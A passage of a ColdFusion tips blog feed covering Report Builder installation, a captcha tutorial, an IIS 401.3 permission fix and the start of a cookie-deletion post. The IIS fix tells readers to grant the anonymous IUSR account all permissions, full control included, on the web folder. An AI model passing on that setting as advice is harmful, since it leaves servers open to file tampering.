&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: .5pt;&quot;&gt;2.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;&lt;a href=&quot;http://coldfusion-tip.blogspot.com/2013/11/server-set-up-in-coldfusion-10-report.html&quot; target=&quot;_blank&quot;&gt;Set up Server in Report Builder&lt;/a&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;3. &amp;nbsp; &lt;a href=&quot;http://coldfusion-tip.blogspot.in/2013/11/creating-tabular-report-using.html&quot; target=&quot;_blank&quot;&gt;Creating a Sample Report Template&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; text-indent: -0.25in;&quot;&gt;.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; text-indent: -0.25in;&quot;&gt;4. &amp;nbsp; &lt;a href=&quot;http://coldfusion-tip.blogspot.com/2013/11/using-coldfusion-report-template-to.html&quot; target=&quot;_blank&quot;&gt;Use ColdFusion Report Template in ColdFusio&lt;/a&gt;n&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;1. &lt;b&gt;Installing ColdFusion 10 Report Builder&lt;/b&gt;:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;- You can download ColdFusion 10 Report Builder
from following URL:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;&lt;a href=&quot;http://www.adobe.com/support/coldfusion/downloads.html#cf10devtools&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;http://www.adobe.com/support/coldfusion/downloads.html#cf10devtools&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;- Double click on the exe file and follow the
instructions to install.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;- In &lt;b&gt;Windows 8/Windows 2012 server &lt;/b&gt;you may
see &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-font-kerning: .5pt;&quot;&gt;following error message:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-font-kerning: .5pt;&quot;&gt;Installer user interface mode
not supported&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Times New Roman, serif; font-size: small;&quot;&gt;Please follow&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;below mentioned&lt;/span&gt;&lt;span style=&quot;font-family: Times New Roman, serif; font-size: small;&quot;&gt;&amp;nbsp;steps to avoid t&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-font-kerning: .5pt;&quot;&gt;his error&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;- Right
click on the installer then you will see a screen like below.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUCldGyW89yNhQKM6wULXu_A9JFQcY0cGtfsMi-4FCw6tbnPZg5Dy6lnXEQAzYboXpXceqvULjf-XF3aWQfW-t6BDKjK46NdEXk15OkwXS5vNGhGO-DjOy-tHMcQOX2PMVsbEk0CQyXkY/s1600/reportbuilding-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUCldGyW89yNhQKM6wULXu_A9JFQcY0cGtfsMi-4FCw6tbnPZg5Dy6lnXEQAzYboXpXceqvULjf-XF3aWQfW-t6BDKjK46NdEXk15OkwXS5vNGhGO-DjOy-tHMcQOX2PMVsbEk0CQyXkY/s320/reportbuilding-1.png&quot; width=&quot;158&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.25in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-font-kerning: .5pt;&quot;&gt;- Select “Troubleshoot
Compatibility” then you will see a trouble detecting screen and after few
seconds you will see following screen.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.25in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-font-kerning: .5pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRGdN44rrMpznh8-NcRRQNItjjUhyphenhyphen4f9-auMPorcHbWZ1fqhYYvZTcXq3NDKBSbU4MtreaYO_dAyN-F_la7NOt17si7Ac34eYUFlOo02PnlnzatR1AtXIwdobX0_gDXsrxhlG9YLR_7Es/s1600/reportbuilding-2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;308&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRGdN44rrMpznh8-NcRRQNItjjUhyphenhyphen4f9-auMPorcHbWZ1fqhYYvZTcXq3NDKBSbU4MtreaYO_dAyN-F_la7NOt17si7Ac34eYUFlOo02PnlnzatR1AtXIwdobX0_gDXsrxhlG9YLR_7Es/s400/reportbuilding-2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.25in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-font-kerning: .5pt;&quot;&gt;- From the above
screen select “&lt;b&gt;Try recommended settings&lt;/b&gt;”.
Then you will see following next screen.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.25in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-font-kerning: .5pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaLshAO5jsnfg-1uKrwcGoadxNu6nTLSt4_A8Bl5bhmZOgH0RWBnfxLvcWOeGsKvBojhanJ16WLZavIZ82M1tuW7mdztBjMMWzcFLQcm_lMQ_aNK3igZsbJosIwI1G1jVUW-ARcbvm6E/s1600/reportbuilding-3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;307&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaLshAO5jsnfg-1uKrwcGoadxNu6nTLSt4_A8Bl5bhmZOgH0RWBnfxLvcWOeGsKvBojhanJ16WLZavIZ82M1tuW7mdztBjMMWzcFLQcm_lMQ_aNK3igZsbJosIwI1G1jVUW-ARcbvm6E/s400/reportbuilding-3.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.25in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.25in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-font-kerning: .5pt;&quot;&gt;In above screen
you have to click on “&lt;b&gt;Test the program&lt;/b&gt;”
then it will be installed successfully.&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.25in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-font-kerning: .5pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.25in;&quot;&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;Next, after installation set up server in Report Builder. &lt;a href=&quot;http://coldfusion-tip.blogspot.com/2013/11/server-set-up-in-coldfusion-10-report.html&quot; target=&quot;_blank&quot;&gt;Go here to know details....&lt;/a&gt;&lt;span id=&quot;goog_1248352724&quot;&gt;&lt;/span&gt;&lt;span id=&quot;goog_1248352725&quot;&gt;&lt;/span&gt;&lt;a href=&quot;http://www.blogger.com/&quot;&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
</description><link>http://coldfusion-tip.blogspot.com/2013/11/starting-with-coldfusion-report-builder.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUCldGyW89yNhQKM6wULXu_A9JFQcY0cGtfsMi-4FCw6tbnPZg5Dy6lnXEQAzYboXpXceqvULjf-XF3aWQfW-t6BDKjK46NdEXk15OkwXS5vNGhGO-DjOy-tHMcQOX2PMVsbEk0CQyXkY/s72-c/reportbuilding-1.png" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-287331085523863597</guid><pubDate>Thu, 31 Oct 2013 13:09:00 +0000</pubDate><atom:updated>2013-10-31T23:19:59.713+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">AJAX</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion 10</category><category domain="http://www.blogger.com/atom/ns#">Creating a Random Captcha with refresh Option</category><category domain="http://www.blogger.com/atom/ns#">jQuery</category><title>Creating a Random Captcha with refresh Option</title><description>We all know that creating captcha is not a tough job in ColdFusion. But, one newbie in ColdFsion just asked me to help in creating a random captcha for his application.&lt;br /&gt;
&lt;br /&gt;
I thought to share with others.&lt;br /&gt;
&lt;br /&gt;
I have divided the entire code into three parts.&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;captcha.cfm - Page where we will display the captcha image.&lt;/li&gt;
&lt;li&gt;Util.cfc - It contains a user defined function &quot;generateRandomText&quot; to generate random captcha text.&lt;/li&gt;
&lt;li&gt;refreshCaptcha.cfm - Page which will handle AJAX call while refreshing captcha image.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Lets see the &quot;captcha.cfm&quot; below:&lt;/div&gt;
&lt;div&gt;
&lt;script src=&quot;https://gist.github.com/roulupen/7723c85b325945634ade.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Here, in above code I have used &quot;ImageCreateCaptcha&quot; function, which is added in ColdFusion 10 for captcha generation.&lt;br /&gt;
&lt;br /&gt;
Lets see the &quot;Util.cfc&quot;&lt;br /&gt;
&lt;script src=&quot;https://gist.github.com/roulupen/5d27f8c8c9d754395de9.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;
In this file, I have written a function called &quot;generateRandomText&quot; &amp;nbsp;for generating captcha string. Logic is very simple, you can modify it according to your requirement.&lt;br /&gt;
&lt;br /&gt;
Next, come to &quot;refreshCaptcha.cfm&quot;:&lt;br /&gt;
&lt;script src=&quot;https://gist.github.com/roulupen/4fa20c2b9851c045bf54.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;
We are making AJAX call to this file which again generates random captcha image and sends to browser for display.&lt;br /&gt;
&lt;br /&gt;
So, this is whole story for generating and refreshing captcha image in ColdFusion!!!&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://coldfusion-tip.blogspot.com/2013/10/creating-random-captcha-with-refresh.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-8098956160384251989</guid><pubDate>Tue, 29 Oct 2013 18:46:00 +0000</pubDate><atom:updated>2013-10-30T00:18:29.645+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">IIS</category><category domain="http://www.blogger.com/atom/ns#">Security</category><category domain="http://www.blogger.com/atom/ns#">You do not have permission to view this directory or page because of the access control list (ACL) configuration or encryption settings for this resource on the Web server</category><title>You do not have permission to view this directory or page because of the access control list (ACL) configuration or encryption settings for this resource on the Web server.</title><description>Today, I was setting up a new sample project in my machine and I just got some unexpected error message for loading .CSS and .txt files but my ColdFusion file .cfm was loading fine.&lt;br /&gt;
&lt;br /&gt;
The error message was:&lt;br /&gt;
&lt;div class=&quot;content-container&quot;&gt;
 
  &lt;h3&gt;
HTTP Error 401.3 - Unauthorized&lt;/h3&gt;
&lt;h4&gt;
You do not have permission to view this directory or page because 
of the access control list (ACL) configuration or encryption settings 
for this resource on the Web server.&lt;/h4&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-n1KORhcmdGzW8D4OhSItEUrtYkNsEnZ4aeBZatBQvTUydKPyYhx65rmpgFFlBkRSncjtimDFfPxfLq9lQVnUTe8fEOh4G1Ccrtz0L3qTb7PDfQpLzUTYBAoLOelNcduI5LEpJOu__lI/s1600/ErrorMessage.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;188&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-n1KORhcmdGzW8D4OhSItEUrtYkNsEnZ4aeBZatBQvTUydKPyYhx65rmpgFFlBkRSncjtimDFfPxfLq9lQVnUTe8fEOh4G1Ccrtz0L3qTb7PDfQpLzUTYBAoLOelNcduI5LEpJOu__lI/s640/ErrorMessage.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
After little Googling I got the solution but most of the solutions are not described very well. So, thought to share it again.&lt;br /&gt;
***NOTE: This issue may come for other types of files like: JS, ColdFusion or ASP files.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;What is the solution for this issue?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Go to the directory where you have placed your web application files. EX: For my application it&#39;s:&amp;nbsp;C:\Users\Upendra Roul\Documents\GitHub&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Right Click&lt;/b&gt; on that directory then go to properties -&amp;gt; &lt;b&gt;Securtity&lt;/b&gt;(Tab). You will see a image like below.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9RWq4rZQXmbF7FcpTNBxGoaHt8D-w-Vn_Zcp1Y7HzTJkifD6qi6-iBpo32MF6eemekEEWRyialCVlrR4yXjh7WY3RdD5k6cvgJ_ShgWbGUn6gkPnqibMMHpOymG8U11iv16ZCbdPe3bQ/s1600/Properties-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9RWq4rZQXmbF7FcpTNBxGoaHt8D-w-Vn_Zcp1Y7HzTJkifD6qi6-iBpo32MF6eemekEEWRyialCVlrR4yXjh7WY3RdD5k6cvgJ_ShgWbGUn6gkPnqibMMHpOymG8U11iv16ZCbdPe3bQ/s1600/Properties-1.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Click on &quot;&lt;b&gt;Edit&lt;/b&gt;&quot; button of the above image, you will see a next window like below:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7FQQcQvmAs0_Nr2g8cqb0RQMTT2c0Zu4tHb3dSJlWWixd3RnPQvcwD8vxW6rp3SC89B7VEsoNk-kD-1iAWxGvpPtPFxBSIrwP8Xlk1VnCJrS1VqdguplHAzt971ej9fFSmVIAgkGeZrU/s1600/Security-2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7FQQcQvmAs0_Nr2g8cqb0RQMTT2c0Zu4tHb3dSJlWWixd3RnPQvcwD8vxW6rp3SC89B7VEsoNk-kD-1iAWxGvpPtPFxBSIrwP8Xlk1VnCJrS1VqdguplHAzt971ej9fFSmVIAgkGeZrU/s1600/Security-2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Click on &quot;&lt;b&gt;Add&lt;/b&gt;&quot; button as marked in the above picture then you will see a screen like below:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd2wUmB8yOhIszGsVEdA6zor9PYnW9qczbri7_RLABri__S2MGPSj5IL_FClwWw3ZCWBnytA6OG9v_Sxg-lpLfR4suFhqgCudBd15VBmu9IJTmQUMk9U7SJAw8doRvNZeibdPQgcVI9lQ/s1600/AddUser-3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd2wUmB8yOhIszGsVEdA6zor9PYnW9qczbri7_RLABri__S2MGPSj5IL_FClwWw3ZCWBnytA6OG9v_Sxg-lpLfR4suFhqgCudBd15VBmu9IJTmQUMk9U7SJAw8doRvNZeibdPQgcVI9lQ/s1600/AddUser-3.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Click on &quot;&lt;b&gt;Advanced&lt;/b&gt;&quot; button as highlighted in the above picture, then you will see a screen like below:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkkZOYOClpCveHmbdRDjaEHffTMsSpV8K-OgDB3vcCtIUY06yYbK6ynXWOCR7TX-E5sub1YlEhG4GnOVogMyWepnmmc7bqL0NZ3ll70ih1aviVh-AMXAPMaxczVSbfbM5b_TNeSb94fB0/s1600/UserSelection-4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkkZOYOClpCveHmbdRDjaEHffTMsSpV8K-OgDB3vcCtIUY06yYbK6ynXWOCR7TX-E5sub1YlEhG4GnOVogMyWepnmmc7bqL0NZ3ll70ih1aviVh-AMXAPMaxczVSbfbM5b_TNeSb94fB0/s1600/UserSelection-4.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Here, in the above picture first you have to click on &quot;&lt;b&gt;Find Now&lt;/b&gt;&quot; then you will see list of users in &quot;&lt;b&gt;Search result&lt;/b&gt;&quot; section below as shown in the above picture. Next, select the highlighted user &quot;&lt;b&gt;IUSR&lt;/b&gt;&quot; then click on &quot;&lt;b&gt;OK&lt;/b&gt;&quot; button. Then you will see a screen like below:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTgC5cS9y3Xia4tcTTHOD_JmpdSJQjz36HK9VBFfGq4oTqL2HQpxRwpTSIc_cE1RN4zeesFqDkx1E67EmBlUUdD7WuWp9JRHVwVi54q__C2c8UESfjnqCICDQDXoQ1cikJwaLuHPDxOL0/s1600/UserSelected+-+5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTgC5cS9y3Xia4tcTTHOD_JmpdSJQjz36HK9VBFfGq4oTqL2HQpxRwpTSIc_cE1RN4zeesFqDkx1E67EmBlUUdD7WuWp9JRHVwVi54q__C2c8UESfjnqCICDQDXoQ1cikJwaLuHPDxOL0/s1600/UserSelected+-+5.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;If you mark in the above screen, &lt;b&gt;IUSR &lt;/b&gt;is selected in the user selection box then click on &quot;&lt;b&gt;OK&lt;/b&gt;&quot; button. Then you will see a screen like below:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_4uMa8Huw7pcgUAPZsbIqDzZm4-CAS3rqW6xABx-FRL6gWZUrxlLvgRZuLQlg0eQMzLZ1OkbIlzu5AZ3Px4haNyEZM0hXMuL5pFUsLb_iOun8hyaJ_eRCZ0CoIKS8-IUHzU0ygHDsQQ8/s1600/AssignPermission+-+6.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_4uMa8Huw7pcgUAPZsbIqDzZm4-CAS3rqW6xABx-FRL6gWZUrxlLvgRZuLQlg0eQMzLZ1OkbIlzu5AZ3Px4haNyEZM0hXMuL5pFUsLb_iOun8hyaJ_eRCZ0CoIKS8-IUHzU0ygHDsQQ8/s1600/AssignPermission+-+6.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;The above screen is the final set up screen. Here, first select &quot;&lt;b&gt;IUSR&lt;/b&gt;&quot; from &quot;&lt;b&gt;Group or user names&lt;/b&gt;&quot; then allow all permission for that user by selecting the check boxes in the highlighted section. Then click on &quot;&lt;b&gt;Apply&lt;/b&gt;&quot; then Click on &quot;&lt;b&gt;OK&lt;/b&gt;&quot;. After that for all other screens just Click on &quot;&lt;b&gt;OK&lt;/b&gt;&quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
After all these set up refresh your web page you will see all resources are loading perfectly.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Hope it will save your time!!!&lt;/div&gt;
</description><link>http://coldfusion-tip.blogspot.com/2013/10/you-do-not-have-permission-to-view-this.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-n1KORhcmdGzW8D4OhSItEUrtYkNsEnZ4aeBZatBQvTUydKPyYhx65rmpgFFlBkRSncjtimDFfPxfLq9lQVnUTe8fEOh4G1Ccrtz0L3qTb7PDfQpLzUTYBAoLOelNcduI5LEpJOu__lI/s72-c/ErrorMessage.png" height="72" width="72"/><thr:total>36</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-8103663770366392563</guid><pubDate>Sat, 26 Oct 2013 19:25:00 +0000</pubDate><atom:updated>2013-10-27T12:24:22.410+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">structDelete for delete cookie in ColdFusion</category><title>structDelete &amp; CFCOOKIE for Delete Cookie in ColdFusion</title><description>Previously, I had a misconception that we can only delete a cookie from ColdFusion by using CFCOOKIE tag only. But, during experimenting with ColdFusion cookie, I just got to know that even using function &quot;structDelete&quot; we can alos delete a cookie.&lt;br /&gt;
&lt;br /&gt;
Let&#39;s see how exactly:&lt;br /&gt;
